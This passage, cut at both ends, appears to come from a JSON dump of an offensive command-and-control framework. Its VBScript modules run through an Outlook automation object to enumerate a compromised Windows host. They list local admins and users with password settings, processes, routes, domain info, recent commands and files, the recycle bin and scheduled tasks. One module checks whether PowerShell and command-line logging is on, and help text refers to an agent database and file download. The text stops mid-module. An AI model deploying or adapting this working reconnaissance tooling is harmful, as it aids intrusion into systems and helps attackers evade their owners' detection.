vbCrLf\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_iprouting.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates the IP Routing table using the Win32_IP4RouteTable and the Win32_IP4PersistedRouteTable classes.\n        (Only a few selected attributes is dumped)\n        Official documentation: \n         - https://docs.microsoft.com/en-us/previous-versions/windows/desktop/wmiiprouteprov/win32-ip4routetable  \n         - https://docs.microsoft.com/en-us/previous-versions/windows/desktop/wmiiprouteprov/win32-ip4persistedroutetable\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - Query: SELECT * FROM Win32_IP4RouteTable\n        - Query: SELECT * FROM Win32_IP4PersistedRouteTable\n        \"\"\"\n        self.entry = 'list_iprouting'\n        self.depends = []\n        super().__init__(templatepath)\n        "
  },
  {
    "path": "functions/enumerate/host/list_iprouting.txt",
    "content": "Function list_iprouting()\r\n\tOn error resume next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n    Set objWMIService = objLocator.ConnectServer(\".\", \"\\root\\cimv2\")\r\n    Set colItems = objWMIService.ExecQuery(\"SELECT * FROM Win32_IP4RouteTable\",,48) \r\n\r\n    list_iprouting = \"----- DYNAMIC ROUTES -----\" & vbCrlf\r\n\tFor Each objItem in colItems\r\n        list_iprouting = list_iprouting & \"Description: \" & objItem.Description & vbCrlf\r\n        list_iprouting = list_iprouting & \"Interface Index: \" & objItem.InterfaceIndex & vbCrlf\r\n        list_iprouting = list_iprouting & \"Metric: \" & objItem.Metric1 & vbCrlf\r\n        list_iprouting = list_iprouting & \"Protocol: \" & objItem.Protocol & vbCrlf & vbCrlf\r\n\tNext\r\n\r\n    list_iprouting = list_iprouting & \"----- PERSISTENT ROUTES -----\" & vbCrlf\r\n    Set colItems2 = objWMIService.ExecQuery(\"SELECT * FROM Win32_IP4PersistedRouteTable\",,48)\r\n    For Each objItem in colItems2\r\n        list_iprouting = list_iprouting & \"Description: \" & objItem.Description & vbCrlf\r\n        list_iprouting = list_iprouting & \"Metric: \" & objItem.Metric1 & vbCrlf\r\n\tNext\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_localadmins.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates the local administrators on the host specified with the inMachine option\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - Query: Select * from Win32_ComputerSystem\n        - Query: SELECT * FROM Win32_GroupUser WHERE GroupComponent=Win32_Group.Domain=VARIABLE,Name='Administrators'\n        \"\"\"\n        self.entry = 'list_localadmins'\n        self.depends = []\n        self.options['host'] = {\n            \"value\": \".\",\n            \"required\": True,\n            \"description\": \"The machine you want to list local admins from. It defaults to localhost using .\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/enumerate/host/list_localadmins.txt",
    "content": "Function list_localadmins()\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objWMIService = objLocator.ConnectServer({{host}}, \"root\\cimv2\")\r\n\tSet colItems1 = objWMIService.ExecQuery( \"Select * from Win32_ComputerSystem\")\r\n\tFor each objItem in colItems1\r\n\t\t\tMachineName = objItem.Name\r\n\tNext\r\n\r\n\ttoreturn = toreturn & \"Administrators Group Membership on Machine : \" & MachineName & vbCrLf\r\n\ttoreturn = toreturn & \"-----Group Members------\" & vbCrLf\r\n\tSet colItems2 = objWMIService.ExecQuery(\"SELECT * FROM Win32_GroupUser WHERE GroupComponent=\"\"Win32_Group.Domain='\" & MachineName & \"',Name='Administrators'\"\"\") \r\n\r\n\tFor Each Path In colItems2\r\n\t\tNamesArray = Split(Path.PartComponent,\",\")\r\n\t\tstrMemberName = Replace(Replace(NamesArray(1),Chr(34),\"\"),\"Name=\",\"\")\r\n\t\tDomainNameArray = Split(NamesArray(0),\"=\")\r\n\t\tstrDomainName = Replace(DomainNameArray(1),Chr(34),\"\")\r\n\t\tIf strDomainName <> strComputerName Then\r\n\t\t\tstrMemberName = strDomainName & \"\\\" & strMemberName\r\n\t\tEnd If\r\n\ttoreturn = toreturn & strMemberName & vbCrLf\r\n\tNext\r\n\r\n\tlist_localadmins = toreturn & vbCrLf\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_localusers.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates the local users on the current host\n\n        It uses CreateObject(\"Wscript.Shell\")\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - Query: \"SELECT * FROM Win32_UserAccount WHERE LocalAccount = True\"\n        \"\"\"\n        self.entry = 'list_localusers'\n        self.depends = []\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/enumerate/host/list_localusers.txt",
    "content": "Function list_localusers()\r\n\ton error resume next\r\n\tSet sh = window.external.OutlookApplication.CreateObject(\"Wscript.Shell\")\r\n\tcompname = sh.ExpandEnvironmentStrings(\"%COMPUTERNAME%\")\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objWMIService = objLocator.ConnectServer(\".\", \"root\\cimv2\")\r\n\r\n\ttoreturn = toreturn & \"Local users on Machine \" & compname & \" : \" & vbCrLf\r\n\tSet colUsers = objWMIService.ExecQuery(\"SELECT * FROM Win32_UserAccount WHERE LocalAccount = True\")\r\n\tFor Each objUser in colUsers\r\n\t\ttoreturn = toreturn & objUser.Name & vbCrLf\r\n\t\ttoreturn = toreturn & \"--Description: \" & objUser.Description & vbCrLf\r\n\t\ttoreturn = toreturn & \"--Disabled: \" & objUser.Disabled & vbCrLf\r\n\t\ttoreturn = toreturn & \"--FullName: \" & objUser.FullName & vbCrLf\r\n\t\ttoreturn = toreturn & \"--Lockout: \" & objUser.Lockout & vbCrLf\r\n\t\ttoreturn = toreturn & \"--PasswordChangeable: \" & objUser.PasswordChangeable & vbCrLf\r\n\t\ttoreturn = toreturn & \"--PasswordExpires: \" & objUser.PasswordExpires & vbCrLf\r\n\t\ttoreturn = toreturn & \"--PasswordRequired: \" & objUser.PasswordRequired & vbCrLf\r\n\t\ttoreturn = toreturn & vbCrLf\r\n\tNext\r\n\tlist_localusers = toreturn\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_logging.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates status of logging on the host. \n        It figures out status on logging settings for:\n        - ProcessCreationIncludeCmdLine\n        - PowerShell Script Block Logging\n        - PowerShell Transcript Logging\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - ConnectServer(root\\cimv2).EnumKey\n        - ConnectServer(root\\cimv2).GetDWORDValue\n        \"\"\"\n        self.entry = 'list_logging'\n        self.depends = []\n        super().__init__(templatepath)\n        "
  },
  {
    "path": "functions/enumerate/host/list_logging.txt",
    "content": "Function list_logging()\r\n\tOn error resume next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objReg = objLocator.ConnectServer(\".\", \"root\\cimv2\").Get(\"StdRegProv\")\r\n\r\n\t' Cmd Line Process Auditing\r\n\tkeycmdlog = \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit\"\r\n\tobjReg.EnumKey 2147483650, keycmdlog, arrSubKeys\r\n\tobjReg.GetDWORDValue 2147483650, keycmdlog, \"ProcessCreationIncludeCmdLine_Enabled\", isenabled\r\n\r\n\tIf IsNull(isenabled) Then\r\n\t\tval = \"Not Enabled\"\r\n\tElse\r\n\t\tIf isenabled > 0 Then\r\n\t\t\tval = \"Enabled!\"\r\n\t\tElse\r\n\t\t\tval = \"Not Enabled\"\r\n\t\tEnd If\r\n\tEnd If\r\n\r\n\tcmdaud = \"Command Line Proc Arg Auditing: \" & val & vbCrlf\r\n\r\n\t'Posh logging\r\n\tpslog = \"\"\r\n\tKeyPSLog1 = \"Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\"\r\n\tKeyPSLog2 = \"Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription\"\r\n\tobjReg.EnumKey 2147483650, KeyPSLog1, arrSubkeys\r\n\tobjReg.GetDWORDValue 2147483650, KeyPSLog1, \"EnableScriptBlockLogging\", scriptlogging\r\n\tIf scriptlogging = 1 Then\r\n\t\tpslog = pslog & \"PowerShell Script Block Logging: Enabled\" & vbCrlf\r\n\tElse\r\n\t\tpslog = pslog & \"PowerShell Script Block Logging: Disabled\" & vbCrlf\r\n\tEnd If\r\n\r\n\tobjReg.EnumKey 2147483650, KeyPSLog2, arrSubkeys\r\n\tobjReg.GetDWORDValue 2147483650, KeyPSLog2, \"EnableTranscripting\", enabletranscripting\r\n\tobjReg.GetDWORDValue 2147483650, KeyPSLog2, \"OutputDirectory\", outputdirectory\r\n\tobjReg.GetDWORDValue 2147483650, KeyPSLog2, \"EnableInvocationHeader\", enableinvocationheader\r\n\r\n\tIf enabletranscripting = 1 Then\r\n\t\tpslog = pslog & \"PowerShell Transcription Logging: Enabled\" & vbCrlf\r\n\tElse\r\n\t\tpslog = pslog & \"PowerShell Transcription Logging: Disabled\" & vbCrlf\r\n\tEnd If\r\n\r\n\tIf outputdirectory = 1 Then\r\n\t\tpslog = pslog & \"PowerShell Output Directory: Enabled\" & vbCrlf\r\n\tElse\r\n\t\tpslog = pslog & \"PowerShell Output Directory: Disabled\" & vbCrlf\r\n\tEnd If\r\n\r\n\tIf enableinvocationheader = 1 Then\r\n\t\tpslog = pslog & \"PowerShell Invocation Header: Enabled\" & vbCrlf\r\n\tElse\r\n\t\tpslog = pslog & \"PowerShell Invocation Header: Disabled\" & vbCrlf\r\n\tEnd If\r\n\r\n\tlist_logging = cmdaud & vbCrLF & pslog & vbCrLF\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_mappeddrives.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates the mapped drives on the host.\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - Query: Select Name,ProviderName from Win32_MappedLogicalDisk\n        \"\"\"\n        self.entry = 'list_mappeddrives'\n        self.depends = []\n        super().__init__(templatepath)"
  },
  {
    "path": "functions/enumerate/host/list_mappeddrives.txt",
    "content": "Function list_mappeddrives()\r\n        On error resume next\r\n        Set objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n        Set objWMIService = objLocator.ConnectServer(\".\", \"root\\cimv2\")\r\n        Set col = objWMIService.ExecQuery (\"Select Name,ProviderName from Win32_MappedLogicalDisk\")\r\n\r\n        drives = \"Letter - Provider\" & vbCrLf\r\n        For Each obj in col\r\n                drives = drives & obj.Name & \" - \" & obj.ProviderName &  vbCrLf\r\n        Next\r\n        list_mappeddrives = drives\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_networkcardinfo.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates all the information from the network cards. \n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - Query: SELECT * FROM Win32_NetworkAdapterConfiguration\n        \"\"\"\n        self.entry = 'list_networkcardinfo'\n        self.depends = []\n        super().__init__(templatepath)\n        "
  },
  {
    "path": "functions/enumerate/host/list_networkcardinfo.txt",
    "content": "Function list_networkcardinfo()\r\n\tOn error resume next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n    Set objWMIService = objLocator.ConnectServer(\".\", \"\\root\\cimv2\")\r\n    Set colNicConfigs = objWMIService.ExecQuery(\"SELECT * FROM Win32_NetworkAdapterConfiguration\",,48) \r\n\r\n\tFor Each NIC in colNicConfigs\r\n        For Each nicAttribute in NIC.Properties_\r\n\t\t\tif Not (IsNull(nicAttribute.value) OR IsEmpty(nicAttribute.value)) Then\r\n                if IsArray(nicAttribute) then\r\n                    nicResponse = nicResponse & nicAttribute.Name & \": \" & Join(nicAttribute, \", \") & vbCrLf\r\n                else\r\n                    nicResponse = nicResponse & nicAttribute.Name & \": \" & nicAttribute.value & vbCrLf\r\n                end if\r\n            end if\r\n        Next\r\n\tNext\r\n\tlist_networkcardinfo = nicResponse\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_networklogon.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates all the information from the Network login profile.\n        Contains interesting information such as logon restrictions, logon scripts, number of logons and password age\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - Query: SELECT * FROM Win32_NetworkLoginProfile\n        \"\"\"\n        self.entry = 'list_networklogon'\n        self.depends = []\n        super().__init__(templatepath)\n        "
  },
  {
    "path": "functions/enumerate/host/list_networklogon.txt",
    "content": "Function list_networklogon()\r\n\tOn error resume next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n    Set objWMIService = objLocator.ConnectServer(\".\", \"\\root\\cimv2\")\r\n    Set colNetLogProfs = objWMIService.ExecQuery(\"SELECT * FROM Win32_NetworkLoginProfile\",,48) \r\n\r\n\tFor Each NIC in colNetLogProfs\r\n        For Each netlogAttribute in NIC.Properties_\r\n\t\t\tif Not (IsNull(netlogAttribute.value) OR IsEmpty(netlogAttribute.value)) Then\r\n                if IsArray(netlogAttribute) then\r\n                    netlogResponse = netlogResponse & netlogAttribute.Name & \": \" & Join(netlogAttribute, \", \") & vbCrLf\r\n                else\r\n                    netlogResponse = netlogResponse & netlogAttribute.Name & \": \" & netlogAttribute.value & vbCrLf\r\n                end if\r\n            end if\r\n        Next\r\n\tNext\r\n\tlist_networklogon = netlogResponse\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_ntdomaininfo.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates information about the domain the computer is joined to using WMI.\n        Returns unknown if computer is in workgroup.\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - Query: Select * from Win32_NTDomain\n        \"\"\"\n        self.entry = 'list_ntdomaininfo'\n        self.depends = []\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/enumerate/host/list_ntdomaininfo.txt",
    "content": "Function list_ntdomaininfo()\r\n\tOn error resume next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objWMIService = objLocator.ConnectServer(\".\", \"root\\cimv2\")\r\n\tSet colNTDomain = objWMIService.ExecQuery(\"Select * from Win32_NTDomain\")\r\n\r\n\tFor Each domain in colNTDomain\r\n        For Each domAttribute in domain.Properties_\r\n            if Not (IsNull(domAttribute.value) OR IsEmpty(domAttribute.value)) Then\r\n                if IsArray(domAttribute) then\r\n                    ntinfo = ntinfo & domAttribute.Name & \": \" & Join(domAttribute, \", \") & vbCrLf\r\n                else\r\n                    ntinfo = ntinfo & domAttribute.Name & \": \" & domAttribute.value & vbCrLf\r\n                end if\r\n            end if\r\n        Next\r\n\tNext\r\n\t\tlist_ntdomaininfo = ntinfo\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_officearch.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates the installed Office Architecture on the host. \n        This module writes the result to agent in the database.\n        It retrieves the bitness from the Path value under \n        HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\outlook.exe.\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - ConnectServer(root\\cimv2).GetStringValue\n        \"\"\"\n        self.entry = 'list_officearch'\n        self.depends = []\n        super().__init__(templatepath)\n        \n    def rethandler(self, agent, options, data):\n        agent.officearch = data"
  },
  {
    "path": "functions/enumerate/host/list_officearch.txt",
    "content": "Function list_officearch()\r\n\tOn Error Resume Next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objreg = objLocator.ConnectServer(\".\", \"root\\cimv2\").Get(\"StdRegProv\")\r\n\tobjreg.GetStringValue 2147483650, \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\outlook.exe\", \"Path\", strPath\r\n\tif InStr(strPath, \"x86\") > 0 Then\r\n\t\tlist_officearch = \"x86\"\r\n\telse\r\n\t\tlist_officearch = \"x64\"\r\n\tend if\t\r\nEnd Function\r\n"
  },
  {
    "path": "functions/enumerate/host/list_printers.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom datetime import datetime\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Uses wscript.network to gather printer connections\n\n        It uses Wscript.Network\n        - EnumPrinterConnections\n        \"\"\"\n        self.entry = 'list_printers'\n        self.depends = []\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/enumerate/host/list_printers.txt",
    "content": "Function list_printers()\r\n\tOn error resume next\r\n\tSet wsh = window.external.OutlookApplication.CreateObject(\"Wscript.Network\")\r\n\tSet printers = wsh.EnumPrinterConnections\r\n\tFor i = 0 to printers.Count - 1 Step 2\r\n            output = output & \"Printername: \" & printers.Item(i+1) & \" - Port: \" & printers.Item(i) & vbCrLf\r\n         Next\r\n\tlist_printers = \"Found \" & printers.count & \" printers:\" & vbCrLf & output\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_processes.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates running processes on the host. \n        It lists out:\n        - PID\n        - PPID\n        - Arch based on virtual size (x86 set to less than 4094967296 Bytes, could be FP here) - Double check using operation-file-check_filearch\n        - Process Name\n        - Executable Path\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - Query: Select Name,ProcessId,ParentProcessId,VirtualSize,ExecutablePath from Win32_Process\n        \"\"\"\n        self.entry = 'list_processes'\n        self.depends = []\n        super().__init__(templatepath)\n        "
  },
  {
    "path": "functions/enumerate/host/list_processes.txt",
    "content": "Function list_processes()\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objWMIService = objLocator.ConnectServer(\".\", \"root\\cimv2\")\r\n\tSet col = objWMIService.ExecQuery (\"Select Name,ProcessId,ParentProcessId,VirtualSize,ExecutablePath from Win32_Process\")\r\n\tprocs = \"PID\" & vbTab & \"PPID\" & vbTab & \"Arch\" & vbTab & \"ProcessName\" & vbTab & vbTab & vbTab & \"Executable Path\" & vbCrLf\r\n\tFor Each obj in col\r\n\t\tif obj.VirtualSize < 4000000000 Then\r\n\t\t\tprocarch = \"x86\"\r\n\t\t\tif obj.processid = \"0\" then\r\n\t\t\t\tprocarch = \"x64\"\r\n\t\t\tend if\r\n\t\t\tif obj.processid = \"4\" then\r\n\t\t\t\tprocarch = \"x64\"\r\n\t\t\tend if\r\n\t\telse\r\n\t\t\tprocarch = \"x64\"\r\n\t\tend if\r\n\t\tif obj.Name = \"Memory Compression\" Then\r\n\t\t\tprocarch = \"x64\"\r\n\t\tend if\r\n\t\tif obj.Name = \"Registry\" Then\r\n\t\t\tprocarch = \"x64\"\r\n\t\tend if\r\n\t\tprocs = procs & obj.ProcessId & vbTab & obj.ParentProcessId & vbTab & procarch & vbTab & obj.Name & vbTab & vbTab & vbTab & obj.ExecutablePath & vbCrLf\r\n\tNext\r\n\tlist_processes = procs\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_recentcommands.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates recent executed commands from the registry\n        HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\RunMRU\n\n        It uses WbemScripting.SWbemNamedValueSet\n        - Add.__ProviderArchitecture\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - ConnectServer(root\\cimv2).EnumValues\n        - ConnectServer(root\\cimv2).GetStringValue\n        - ConnectServer(root\\cimv2).GetExpandedStringValue\n        - ConnectServer(root\\cimv2).GetBinaryValue\n        - ConnectServer(root\\cimv2).GetDWORDValue\n        - ConnectServer(root\\cimv2).GetMultiStringValue\n        - ConnectServer(root\\cimv2).GetQWORDValue\n        \"\"\"\n        self.entry = 'list_recentcommands'\n        self.depends = ['./helperFunctions/Getallregvalues.txt']\n        super().__init__(templatepath)\n        "
  },
  {
    "path": "functions/enumerate/host/list_recentcommands.txt",
    "content": "Function list_recentcommands()\r\n\tOn error resume next\r\n\tlist_recentcommands = \"RECENT COMMANDS:\" & vbCrLf\r\n\tlist_recentcommands = list_recentcommands & GetAllRegValues(\"HKCU\", \"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU\", 64, 2147483649)\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_recentfiles.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates all shortcuts in the MY_RECENT_DOCUMENTS / RECENT_FILES\n        Resolved all shortcuts to the items and lists them out\n\n        It uses WScript.Shell\n        - CreateShortcut\n        \n        It uses Shell.Application\n        - Namespace\n        - Namespace().items\n        \"\"\"\n        self.entry = 'list_recentfiles'\n        self.depends = []\n        super().__init__(templatepath)\n        "
  },
  {
    "path": "functions/enumerate/host/list_recentfiles.txt",
    "content": "Function list_recentfiles()\r\n\tOn error resume next\r\n\tConst MY_RECENT_DOCUMENTS = &H8&\r\n\trecentpaths = \"RECENT PATHS:\" & vbCrLf\r\n\tset WshShell = window.external.OutlookApplication.CreateObject(\"WScript.Shell\")\r\n\tSet objShell = window.external.OutlookApplication.CreateObject(\"Shell.Application\")\r\n\tSet objFolder = objShell.Namespace(MY_RECENT_DOCUMENTS)\r\n\tSet colItems = objFolder.Items\r\n\tFor Each objItem in colItems\r\n\t\tSet oShellLink = WshShell.CreateShortcut(objItem.path)\r\n\t\tif Len(oShellLink.TargetPath) = 0 then\r\n\t\telse\r\n\t\t\trecentpaths = recentpaths & oShellLink.TargetPath & vbCrLf\r\n\t\tend if\r\n\tNext\r\n\tlist_recentfiles = recentpaths\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_recyclebin.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module reads lists the content of the recycle bin\n        for the current user. To download a file use get_file and \n        use the long path in the output from this module.\n\n        It uses CreateObject(\"Shell.Application\")\n        \"\"\"\n        self.entry = 'list_recyclebin'\n        self.depends = []\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/enumerate/host/list_recyclebin.txt",
    "content": "Function list_recyclebin()\r\n\tOn error resume next\r\n\tSet sa = window.external.OutlookApplication.CreateObject(\"Shell.Application\")\r\n\tSet items = sa.Namespace(10).Items()\r\n\toutput = \"Name - MB - FullPath\" & vbCrLF\r\n\tsizeround = 1048576\r\n\tx = 0\r\n\tDo until x = items.count\r\n\t\tfriendlysize = Round(items.item(x).size / sizeround, 1)\r\n\t\toutput = output & items.item(x).name & \" - \" & friendlysize & \" - \" & items.item(x).path & vbCrLF\r\n\t\tx=x+1\r\n\tLoop\r\n\r\n\tml1 = 0\r\n\tml2 = 0\r\n\tml3 = 0\r\n\r\n\tlines=split(output,vbcrlf)\r\n\tfor each line in lines\r\n\t\tparts = Split(line, \" - \")\r\n\t\tIf Len(parts(0)) > ml1 Then\r\n        \tml1 = Len(parts(0))\r\n\t    End If\r\n\t\tIf Len(parts(1)) > ml2 Then\r\n        \tml2 = Len(parts(1))\r\n\t\tEnd If\r\n\t\tIf Len(parts(2)) > ml3 Then\r\n        \tml3 = Len(parts(2))\r\n\t\tEnd If\r\n\tnext\r\n\r\n\tFor Each line In lines\r\n    \tparts = Split(line, \" - \")\r\n    \tspacesToAdd1 = ml1 - Len(parts(0))\r\n    \tspacesToAdd2 = ml2 - Len(parts(1))\r\n    \tspacesToAdd3 = ml3 - Len(parts(2))\r\n    \tline = parts(0) & String(spacesToAdd1, \" \") & \" \" & parts(1) & String(spacesToAdd2, \" \") & \" \" & parts(2) & String(spacesToAdd3, \" \")\r\n    \tlist_recyclebin = list_recyclebin & line & vbCrLF\r\n\tNext\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_scheduledtasks.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates the scheduled tasks on the host. \n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(ROOT\\Microsoft\\Windows\\TaskScheduler)\n        - Query: SELECT * FROM MSFT_ScheduledTask\n        \"\"\"\n        self.entry = 'list_scheduledtasks'\n        self.depends = []\n        super().__init__(templatepath)\n        "
  },
  {
    "path": "functions/enumerate/host/list_scheduledtasks.txt",
    "content": "Function list_scheduledtasks()\r\n\tOn error resume next\r\n\tConst wbemFlagReturnImmediately = &h10\r\n\tConst wbemFlagForwardOnly = &h20\r\n\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objWMIService = objLocator.ConnectServer(\".\", \"ROOT\\Microsoft\\Windows\\TaskScheduler\")\r\n\tSet col = objWMIService.ExecQuery (\"SELECT * FROM MSFT_ScheduledTask\", \"WQL\", wbemFlagReturnImmediately + wbemFlagForwardOnly)\r\n\r\n\tFor Each objItem in col\r\n    \tschedtasks = schedtasks & vbCrLf & \"TaskName: \" & objItem.TaskName\r\n    \tschedtasks = schedtasks & vbCrLf & \"TaskPath: \" & objItem.TaskPath\r\n\t\tschedtasks = schedtasks & vbCrLf & \"Source: \" & objItem.Source\r\n    \tschedtasks = schedtasks & vbCrLf & \"State: \" & objItem.State\r\n\t\tschedtasks = schedtasks & vbCrLf & \"URI: \" & objItem.URI\r\n\t\tschedtasks = schedtasks & vbCrLf & \"Author: \" & objItem.Author\r\n    \tschedtasks = schedtasks & vbCrLf & \"Date: \" & objItem.Date\r\n\t\tschedtasks = schedtasks & vbCrLf & \"Description: \" & objItem.Description\r\n\r\n\t\tschedtasks = schedtasks & vbCrLf & \"Actions Details:\"\r\n\t\tFor Each objAction In objItem.Actions\r\n\t\t\tschedtasks = schedtasks & vbCrLf & \"    ClassId: \" & objAction.ClassId\r\n\t\t\tschedtasks = schedtasks & vbCrLf & \"    Data: \" & objAction.Data\r\n\t\t\tschedtasks = schedtasks & vbCrLf & \"    Arguments: \" & objAction.Arguments\r\n\t\t\tschedtasks = schedtasks & vbCrLf & \"    Execute: \" & objAction.Execute\r\n\t\tNext\r\n\r\n\t\tSet objPrincipal = objItem.Principal\r\n\t\tschedtasks = schedtasks & vbCrLf & \"Principal Details:\"\r\n\t\tschedtasks = schedtasks & vbCrLf & \"    GroupId: \" & objPrincipal.GroupId\r\n\t\tschedtasks = schedtasks & vbCrLf & \"    Id: \" & objPrincipal.Id\r\n\t\tschedtasks = schedtasks & vbCrLf & \"    LogonType: \" & objPrincipal.LogonType\r\n\t\tschedtasks = schedtasks & vbCrLf & \"    RunLevel: \" & objPrincipal.RunLevel\r\n\t\tschedtasks = schedtasks & vbCrLf & \"    UserId: \" & objPrincipal.UserId\r\n\t\tschedtasks = schedtasks & vbCrLf & \"    ProcessTokenSidType: \" & objPrincipal.ProcessTokenSidType\r\n\t\tSet objPrincipal = Nothing\r\n\t\tschedtasks = schedtasks & vbCrLf & \"SecurityDescriptor: \" & objItem.SecurityDescriptor\r\n\r\n\t\tSet objSettings = objItem.Settings\r\n\t\tschedtasks = schedtasks & vbCrLf & \"Settings Details:\"\r\n\t\tschedtasks = schedtasks & vbCrLf & \"    AllowDemandStart: \" & objSettings.AllowDemandStart\r\n\t\tschedtasks = schedtasks & vbCrLf & \"    AllowHardTerminate: \" & objSettings.AllowHardTerminate\r\n\t\tschedtasks = schedtasks & vbCrLf & \"    Compatibility: \" & 